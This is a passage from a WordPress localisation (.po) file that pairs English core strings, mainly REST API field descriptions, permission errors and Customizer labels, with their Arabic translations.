#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2232
msgid "The globally unique identifier for the post."
msgstr "المُعرف العمومي الفريد للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:691
msgid "The date the revision was published, in the site's timezone."
msgstr "تاريخ نشر المراجعة، بتوقيت الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:697
msgid "The date the revision was published, as GMT."
msgstr "تاريخ نشر المراجعة، بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:713
msgid "The date the revision was last modified, in the site's timezone."
msgstr "تاريخ آخر تعديل للمراجعة، بتوقيت الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:719
msgid "The date the revision was last modified, as GMT."
msgstr "تاريخ آخر تعديل للمراجعة، بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1061
msgid "The post has already been deleted."
msgstr "تم حذف المقال بالفعل."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1314
msgid "A post can not be sticky and have a password."
msgstr "المقال ﻻ يمكن أن يكون مُثبت ويملك كلمة مرور."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:114
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:591
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:645
msgid "Cannot create existing post."
msgstr "ﻻ يمكن إنشاء مقالة موجودة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:515
msgid "Sorry, you are not allowed to create new users."
msgstr "عذرًا، غير مسموح لك بإنشاء مستخدمين جدد."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:150
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:389
#: wp-admin/edit-comments.php:14
msgid "Sorry, you are not allowed to edit comments."
msgstr "عذرًا، غير مسموح لك بتحرير التعليقات."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:228
msgid "Sorry, you are not allowed to manage this plugin."
msgstr "عذرًا، غير مسموح لك بإدارة هذه الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:499
msgid "Incorrect post password."
msgstr "كلمة مرور المقالة غير صحيحة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1679
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:102
msgid "The password for the post if it is password protected."
msgstr "كلمة مرور المقالة إذا كانت محمية بكلمة مرور."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:215
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:232
msgid "You need to define a search term to order by relevance."
msgstr "أنت تحتاج إلى تعريف مصطلح بحث ليتم الترتيب بحسب الصلة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1419
msgid "An alphanumeric identifier for the user."
msgstr "مُعرف أبجدي رقمي للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:317
msgid "Whether posts with this status should be protected."
msgstr "ما إذا كانت المقالات مع هذه الحالة ينبغي أن تكون محمية."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:350
msgid "Human-readable labels for the taxonomy for various contexts."
msgstr "تسميات سهلة القراءة للفئة في سياقات متنوعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:338
msgid "A human-readable description of the taxonomy."
msgstr "وصف سهل القراءة للفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:344
msgid "Whether or not the taxonomy should have children."
msgstr "ما إذا كان ينبغي أن تكون الفئة هرمية."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:323
msgid "Whether posts of this status should be shown in the front end of the site."
msgstr "ما إذا كانت المقالات من هذه الحالة ينبغي أن تظهر في واجهة الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:95
msgid "Sorry, you are not allowed to manage post statuses."
msgstr "عذرًا، غير مسموح لك بإدارة حالات النشر."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:335
msgid "Whether to include posts in the edit listing for their post type."
msgstr "ما إذا كان يجب تضمين المقالات في قائمة التحرير لنفس نوع المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:332
msgid "All capabilities used by the taxonomy."
msgstr "كل الصلاحيات المستخدمة بواسطة الفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:329
msgid "Whether posts with this status should be publicly-queryable."
msgstr "ما إذا كانت المقالات مع هذه الحالة ينبغي أن تكون عًمومية."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:311
msgid "Whether posts with this status should be private."
msgstr "ما إذا كانت المقالات مع هذه الحالة ينبغي أن تكون خاصة."

#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:345
msgid "Current page of the collection."
msgstr "الصفحة الحالية للمجموعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:353
msgid "Maximum number of items to be returned in result set."
msgstr "العدد الأقصى للعناصر ليتم إرجاعه في النتائج."

#. translators: %s: Method name.
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:70
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:87
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:104
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:121
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:138
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:155
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:172
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:189
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:206
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:223
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:240
#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:258
msgid "Method '%s' not implemented. Must be overridden in subclass."
msgstr "Method '%s' not implemented. Must be overridden in subclass."

#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:382
msgid "Scope under which the request is made; determines fields present in response."
msgstr "نطاق الطلب؛ يحدد أي الحقول ستظهر في الرد."

#: wp-includes/rest-api/endpoints/class-wp-rest-controller.php:362
msgid "Limit results to those matching a string."
msgstr "حصر النتائج على مطابقة سلسلة نصية."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1655
msgid "Limit result set to comments assigned to specific post IDs."
msgstr "حصر النتيجة على التعليقات المُسندة لمقالات بمُعرفات (IDs) مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1611
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:936
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:343
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2846
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:798
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1126
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1533
msgid "Order sort attribute ascending or descending."
msgstr "خاصية الترتيب إما تصاعدي أو تنازلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1637
msgid "Limit result set to comments of specific parent IDs."
msgstr "حصر النتائج على التعليقات المرتبطة بتعليق أب مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1646
msgid "Ensure result set excludes specific parent IDs."
msgstr "حصر النتائج على التعليقات غير المرتبطة بتعليق أب مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:943
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:805
msgid "Sort collection by object attribute."
msgstr "فرز المجموعة حسب خاصية الكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1672
msgid "Limit result set to comments assigned a specific type. Requires authorization."
msgstr "حصر النتائج على التعليقات من نوع مُعين. يتطلب تفويض."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1664
msgid "Limit result set to comments assigned a specific status. Requires authorization."
msgstr "حصر النتائج على التعليقات المُسندة لحالة مُعينة. يتطلب تفويض."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2773
msgid "Limit response to posts published after a given ISO8601 compliant date."
msgstr "حصر الرد على المقالات المنشورة بعد تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2804
msgid "Limit response to posts published before a given ISO8601 compliant date."
msgstr "حصر الرد على المقالات المنشورة قبل تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1597
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2825
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:784
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:344
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1110
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1518
msgid "Limit result set to specific IDs."
msgstr "حصر النتائج على مُعرفات مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1588
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2816
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:775
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:335
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1101
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1509
msgid "Ensure result set excludes specific IDs."
msgstr "تأكد أن النتيجة تستثني معرِّفات معينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1525
msgid "Avatar URLs for the comment author."
msgstr "رابط الصورة الرمزية لكاتب التعليق."

#. translators: %d: Avatar image size in pixels.
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1517
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1473
msgid "Avatar URL with image size of %d pixels."
msgstr "رابط صورة رمزية مع صور بحجم %d بكسل."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1576
msgid "Limit result set to that from a specific author email. Requires authorization."
msgstr "حصر النتائج على من أرسلت من كاتب ببريد إلكتروني مُعين. يتطلب تفويض."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1567
msgid "Ensure result set excludes comments assigned to specific user IDs. Requires authorization."
msgstr "حصر النتائج على التعليقات الغير مُسندة لمستخدمين مُعينين. يتطلب تفويض."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1559
msgid "Limit result set to comments assigned to specific user IDs. Requires authorization."
msgstr "حصر النتائج على التعليقات التي أرسلت من مستخدمين بمُعرفات مُعينة. يتطلب تفويض."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:265
msgid "URL to the object."
msgstr "رابط الكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1487
msgid "The ID of the associated post object."
msgstr "مُعرف كائن المقالة المرتبطة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2328
msgid "The ID for the parent of the post."
msgstr "المعرّف الرئيسي (الأب) للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2428
msgid "HTML content for the post, transformed for display."
msgstr "محتوى HTML للمقالة، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2423
msgid "Content for the post, as it exists in the database."
msgstr "محتوى المقالة، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2414
msgid "The content for the post."
msgstr "محتوى المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2226
msgid "The date the post was published, as GMT."
msgstr "تاريخ نشر المقالة، بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1493
msgid "State of the comment."
msgstr "حالة التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:739
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:253
msgid "Unique identifier for the object."
msgstr "المُعرف الفريد للكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1314
msgid "Invalid comment author ID."
msgstr "مُعرف كاتب التعليق غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1010
msgid "The comment cannot be deleted."
msgstr "ﻻ يمكن حذف التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:997
msgid "The comment has already been trashed."
msgstr "تم نقل التعليق لسلة المهملات بالفعل."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1432
msgid "User agent for the comment author."
msgstr "وكيل المستخدم (User Agent) لكاتب التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1402
msgid "Email address for the comment author."
msgstr "عنوان البريد الإلكتروني لكاتب التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1412
msgid "IP address for the comment author."
msgstr "عنوان الـ IP لكاتب التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1418
msgid "Display name for the comment author."
msgstr "اسم العرض لكاتب التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1426
msgid "URL for the comment author."
msgstr "رابط URL لكاتب التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1397
msgid "The ID of the user object, if author was a user."
msgstr "مُعرف المستخدم، إذا كان الكاتب موجود كمُستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:878
msgid "Updating comment failed."
msgstr "فشل تحديث التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:843
msgid "Updating comment status failed."
msgstr "فشل تحديث حالة التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:706
msgid "Creating comment failed."
msgstr "فشل إنشاء التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:629
msgid "Creating a comment requires valid author name and email values."
msgstr "إنشاء تعليق يتطلب اسم وعنوان بريد إلكتروني صالحين للكاتب."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:571
msgid "Cannot create existing comment."
msgstr "ﻻ يمكن إنشاء تعليق موجود."

#: wp-includes/class-wp-xmlrpc-server.php:3909 wp-includes/comment.php:3626
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:448
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:470
msgid "Sorry, you must be logged in to comment."
msgstr "عذرًا، يجب أن تكون متصلًا لتتمكّن من التعليق."

#. translators: %s: List of forbidden parameters.
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:177
msgid "Query parameter not permitted: %s"
msgstr "مُعامل الاستعلام غير مسموح: %s"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:938
msgid "The ID for the associated post of the attachment."
msgstr "مُعرف المقالة المرتبطة بالمرفق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:987
msgid "No Content-Type supplied."
msgstr "لم يتم تعيين Content-Type."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:995
msgid "No Content-Disposition supplied."
msgstr "لم يتم تعيين Content-Disposition."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1038
msgid "Could not open file handle."
msgstr "تعذر فتح الملف."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:979
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1190
msgid "No data supplied."
msgstr "ﻻ توجد بيانات مُقدمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:104
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:136
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:140
msgid "Whether to bypass Trash and force deletion."
msgstr "ما إذا كان يجب تخطي سلة المهملات وإجبار الحذف."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1163
msgid "Limit result set to attachments of a particular media type."
msgstr "حصر النتائج على المرفقات من نوع مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1170
msgid "Limit result set to attachments of a particular MIME type."
msgstr "حصر النتائج على المرفقات من نوع (MIME) مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1018
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1204
msgid "Content hash did not match expected."
msgstr "بصمة (Hash) المحتوى غير مطابقة للمتوقعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1005
msgid "Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename=\"image.png\"` or similar."
msgstr "تم تقديم Content-Disposition غير صالح. الـ Content-Disposition يجب أن يتم صياغته كـ `attachment; filename=\"image.png\"` أو شئ مشابه."

#: wp-includes/class-wp-post-type.php:845 wp-admin/edit-form-advanced.php:419
msgid "Page Attributes"
msgstr "خصائص الصفحة"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:861
msgid "Alternative text to display when attachment is not displayed."
msgstr "النص البديل المعروض عندما لا يتم عرض المرفق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:153
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:327
msgid "Invalid parent type."
msgstr "نوع الأب غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:931
msgid "Details about the media file, specific to its type."
msgstr "تفاصيل حول ملف الوسائط، خاصة بنوعه."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:133
msgid "Sorry, you are not allowed to upload media to this post."
msgstr "عذرًا، غير مسموح لك رفع وسائط إلى هذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:124
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:412
msgid "Sorry, you are not allowed to upload media on this site."
msgstr "عذرًا، غير مسموح لك رفع ملفات وسائط على هذا الموقع."

#. translators: %s: rest_authentication_errors
#: wp-includes/rest-api/class-wp-rest-server.php:395
msgid "The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead."
msgstr "الـ REST API ﻻ يمكن تعطيله كليًا بعد الآن، بالإمكان استخدام الفلتر %s لتقييد الوصول للـ API بدلاً عن ذلك."

#: wp-includes/class-wp-post-type.php:838
msgid "View Pages"
msgstr "مشاهدة الصفحات"

#: wp-includes/class-wp-post-type.php:838
msgid "View Posts"
msgstr "مشاهدة المقالات"

#: wp-includes/class-wp-post-type.php:845
msgid "Post Attributes"
msgstr "خصائص المقالة"

#: wp-includes/post.php:212
msgid "No changesets found."
msgstr "ﻻ توجد حزم تغييرات."

#: wp-includes/post.php:211
msgid "Search Changesets"
msgstr "بحث في حزم التغييرات"

#: wp-includes/post.php:210
msgid "All Changesets"
msgstr "كل حزم التغييرات"

#: wp-includes/post.php:209
msgid "View Changeset"
msgstr "عرض حزمة التغييرات"

#: wp-includes/post.php:208
msgid "Edit Changeset"
msgstr "تحرير حزمة التغييرات"

#: wp-includes/post.php:207
msgid "New Changeset"
msgstr "حزمة تغييرات جديدة"

#: wp-includes/post.php:206
msgid "Add New Changeset"
msgstr "إضافة حزمة تغييرات جديدة"

#: wp-includes/post.php:213
msgid "No changesets found in Trash."
msgstr "ﻻ توجد حزم تغييرات في سلة المهملات."

#: wp-includes/post.php:205
msgctxt "Customize Changeset"
msgid "Add New"
msgstr "أضف جديد"

#: wp-includes/post.php:171 wp-includes/post.php:172 wp-admin/about.php:170
msgid "Custom CSS"
msgstr "تنسيقات (CSS) مُخصصة"

#: wp-includes/post.php:81
msgid "Attachment Attributes"
msgstr "خصائص المرفق"

#: wp-includes/post.php:204
msgctxt "post type singular name"
msgid "Changeset"
msgstr "حزمة تغييرات"

#: wp-includes/post.php:203
msgctxt "post type general name"
msgid "Changesets"
msgstr "حزم تغييرات"

#. translators: Post revision title. 1: Author avatar, 2: Author name, 3: Time
#. ago, 4: Date.
#: wp-includes/post-template.php:1937
msgid "%1$s %2$s, %3$s ago (%4$s)"
msgstr "%1$s %2$s، منذ %3$s (%4$s)"

#. translators: %s: misc
#. translators: %s: privacy
#: wp-includes/option.php:2410 wp-includes/option.php:2423
#: wp-includes/option.php:2483 wp-includes/option.php:2496
#: wp-admin/includes/template.php:1644 wp-admin/includes/template.php:1657
#: wp-admin/includes/template.php:1711 wp-admin/includes/template.php:1724
msgid "The \"%s\" options group has been removed. Use another settings group."
msgstr "مجموعة الخيارات \"%s\" تمّت إزالتها. استخدم مجموعة إعدادات أخرى."

#: wp-includes/option.php:2221
msgid "WordPress locale code."
msgstr "رمز اللغة المحلية لووردبريس."

#: wp-includes/option.php:2232
msgid "Convert emoticons like :-) and :-P to graphics on display."
msgstr "تحويل الرموز التعبيرية مثل :-) و :-P إلى رسومات على الشاشة."

#: wp-includes/option.php:2263
msgid "Blog pages show at most."
msgstr "العدد الأقصى الذي يتم عرضه في صفحات المدونة."

#: wp-includes/option.php:2209
msgid "A day number of the week that the week should start on."
msgstr "رقم اليوم الذي ينبغي أن يبدأ به الأسبوع."

#: wp-includes/option.php:2308
msgid "Allow link notifications from other blogs (pingbacks and trackbacks) on new articles."
msgstr "السماح بإشعارات الروابط من مدونات أخرى (تنبيهات وتعقيبات) على المقالات الجديدة."

#: wp-includes/option.php:2199
msgid "A time format for all time strings."
msgstr "صيغة الوقت."

#: wp-includes/option.php:2189
msgid "A date format for all date strings."
msgstr "صيغة التاريخ."

#: wp-includes/option.php:2253
msgid "Default post format."
msgstr "صيغة المقالة الافتراضية."

#: wp-includes/option.php:2179
msgid "A city in the same timezone as you."
msgstr "مدينة في نفس منطقتك الزمنية."

#: wp-includes/option.php:2121
msgid "Site title."
msgstr "عنوان الموقع."

#: wp-includes/link-template.php:2923
msgctxt "next set of posts"
msgid "Next"
msgstr "التالي"

#: wp-includes/link-template.php:2922
msgctxt "previous set of posts"
msgid "Previous"
msgstr "السابق"

#: wp-includes/general-template.php:523 wp-login.php:844 wp-login.php:1427
msgid "Username or Email Address"
msgstr "اسم المستخدم أو البريد الإلكتروني"

#: wp-includes/media.php:4631
msgid "Search media items..."
msgstr "بحث في الوسائط..."

#. translators: %s: "Search WordPress.org themes" button text.
#: wp-includes/customize/class-wp-customize-themes-section.php:102
msgid "No themes found. Try a different search, or %s."
msgstr "لم يتم العثور على قوالب. جرّب بحثا مختلفاً، أو %s."

#: wp-includes/customize/class-wp-customize-themes-panel.php:49
msgid "Change theme"
msgstr "تغيير القالب"

#: wp-includes/customize/class-wp-customize-themes-section.php:143
msgid "Filter themes"
msgstr "تصفية القوالب"

#. translators: %s: Themes panel title in the Customizer.
#: wp-includes/customize/class-wp-customize-themes-panel.php:81
msgid "You are browsing %s"
msgstr "أنت الآن تتصفح %s"

#: wp-includes/customize/class-wp-customize-selective-refresh.php:181
msgid "Click to edit this element."
msgstr "انقر لتحرير هذا العنصر."

#: wp-includes/customize/class-wp-customize-theme-control.php:103
msgid "Update now"
msgstr "تحديث الآن"

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:63
msgid "Customize theme: %s"
msgstr "تخصيص القالب: %s"

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:61
msgid "Details for theme: %s"
msgstr "تفاصيل القالب: %s"

#. translators: %s: "Update now" button.
#: wp-includes/customize/class-wp-customize-theme-control.php:102
msgid "New version available. %s"
msgstr "الإصدار الجديد متاح. %s"

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:65
msgid "Live preview theme: %s"
msgstr "معاينة حيّة للقالب: %s"

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:67
msgid "Install and preview theme: %s"
msgstr "تنصيب ومعاينة قالب: %s"

#: wp-includes/customize/class-wp-customize-selective-refresh.php:178
msgid "Click to edit this menu."
msgstr "انقر لتحرير هذه القائمة."

#: wp-includes/customize/class-wp-customize-selective-refresh.php:180
msgid "Click to edit the site title."
msgstr "انقر لتحرير عنوان الموقع."

#: wp-includes/customize/class-wp-customize-selective-refresh.php:179
msgid "Click to edit this widget."
msgstr "انقر لتحرير هذا الودجت."

#: wp-includes/customize/class-wp-customize-custom-css-setting.php:167
#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:686
msgid "Markup is not allowed in CSS."
msgstr "وسوم التوصيف (Markup) غير مسموحة في تنسيقات الـ CSS."

#: wp-includes/class-wp-xmlrpc-server.php:2327
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:724
msgid "Sorry, you are not allowed to delete this term."
msgstr "عذرًا، غير مسموح لك بحذف هذا العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:2407
msgid "Sorry, you are not allowed to assign this term."
msgstr "عذرًا، غير مسموح بإسناد هذا العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:2217
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:432
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:623
msgid "Sorry, you are not allowed to edit this term."
msgstr "عذرًا، غير مسموح لك بتحرير هذا العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:2144
msgid "Sorry, the term could not be created."
msgstr "عذرًا، تعذر إنشاء العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:3854
msgid "Sorry, the comment could not be updated."
msgstr "عذرًا، تعذر تحديث التعليق."

#: wp-includes/class-wp-xmlrpc-server.php:2787
msgid "Invalid role."
msgstr "دور غير صالح."

#: wp-includes/class-wp-customize-widgets.php:816
#: wp-includes/class-wp-customize-widgets.php:939
msgid "No widgets found."
msgstr "لم يتم العثور على ودجات."

#. translators: %d: The number of widgets found.
#: wp-includes/class-wp-customize-widgets.php:815
msgid "Number of widgets found: %d"
msgstr "عدد الودجات التي تمّ العثور عليها: %d"

#: wp-includes/class-wp-customize-nav-menus.php:1041
msgid "Post"
msgstr "مقالة"

#. translators: 1: Post type name, 2: Error message.
#: wp-includes/class-wp-customize-nav-menus.php:1046
msgid "%1$s could not be created: %2$s"
msgstr "تعذر إنشاء %1$s: %2$s"

#. translators: 1: .mp4, 2: .mov
#: wp-includes/class-wp-customize-manager.php:6084
msgid "Only %1$s or %2$s files may be used for header video. Please convert your video file and try again, or, upload your video to YouTube and link it with the option below."
msgstr "فقط ملفات %1$s أو %2$s يمكن استخدامها كفيديو في الترويسة. فضلاً قم بتحويل ملف الفيديو وحاول مجددًا، أو، قم برفع الفيديو على اليوتيوب واربطه بالخيار أدناه."

#: wp-includes/class-wp-customize-manager.php:6076
msgid "This video file is too large to use as a header video. Try a shorter video or optimize the compression settings and re-upload a file that is less than 8MB. Or, upload your video to YouTube and link it with the option below."
msgstr "ملف الفيديو هذا كبير جدًا ليتم استخدامه كفيديو في الترويسة. جرب فيديو أقصر أو حسن إعدادات الضغط وأعد رفع الملف مجددًا بحجم أقل من 8 ميجابايت. أو، ارفع الفيديو الخاص بك إلى اليوتيوب واربطه باستخدام الخيار أدناه."

#: wp-includes/class-wp-customize-manager.php:6035
msgid "Unrecognized background setting."
msgstr "إعداد غير معروف للخلفية."

#: wp-includes/class-wp-customize-manager.php:5729
#: wp-includes/js/dist/edit-site.js:10325
#: wp-includes/js/dist/edit-site.js:10328
#: wp-includes/js/dist/edit-site.js:12746
msgid "Additional CSS"
msgstr "تنسيقات (CSS) إضافية"

#: wp-includes/class-wp-customize-manager.php:6026
#: wp-includes/class-wp-customize-manager.php:6030
msgid "Invalid value for background size."
msgstr "قيمة غير صالحة لحجم الخلفية."

#: wp-includes/class-wp-customize-manager.php:6022
msgid "Invalid value for background position Y."
msgstr "قيمة غير صالحة لموضع الخلفية في المحور Y."

#: wp-includes/class-wp-customize-manager.php:6018
msgid "Invalid value for background position X."
msgstr "قيمة غير صالحة لموضع الخلفية في المحور X."

#: wp-includes/class-wp-customize-manager.php:6010
msgid "Invalid value for background repeat."
msgstr "قيمة غير صالحة لتكرار الخلفية."

#: wp-includes/class-wp-customize-manager.php:6014
msgid "Invalid value for background attachment."
msgstr "قيمة غير صالحة لخاصية تثبيت الخلفية."

#: wp-includes/class-wp-customize-manager.php:5693
#: wp-includes/js/dist/edit-site.js:12613
msgid "Learn more about CSS"
msgstr "معرفة المزيد حول الـ CSS"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:5558
#: wp-admin/includes/class-custom-background.php:439
#: wp-admin/includes/class-custom-background.php:443
msgid "Image Size"
msgstr "حجم الصورة"

#: wp-includes/class-wp-customize-manager.php:5508
msgctxt "Custom Preset"
msgid "Custom"
msgstr "تخصيص"

#: wp-includes/class-wp-customize-manager.php:5507
msgctxt "Repeat Image"
msgid "Repeat"
msgstr "تكرار"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:5536
#: wp-includes/customize/class-wp-customize-background-position-control.php:96
#: wp-admin/includes/class-custom-background.php:415
#: wp-admin/includes/class-custom-background.php:419
msgid "Image Position"
msgstr "موضع الصورة"

#: wp-includes/class-wp-customize-manager.php:5581
#: wp-admin/includes/class-custom-background.php:463
msgid "Repeat Background Image"
msgstr "تكرار صورة الخلفية"

#: wp-includes/class-wp-customize-manager.php:5506
#: wp-includes/class-wp-customize-manager.php:5563
#: wp-admin/includes/class-custom-background.php:448
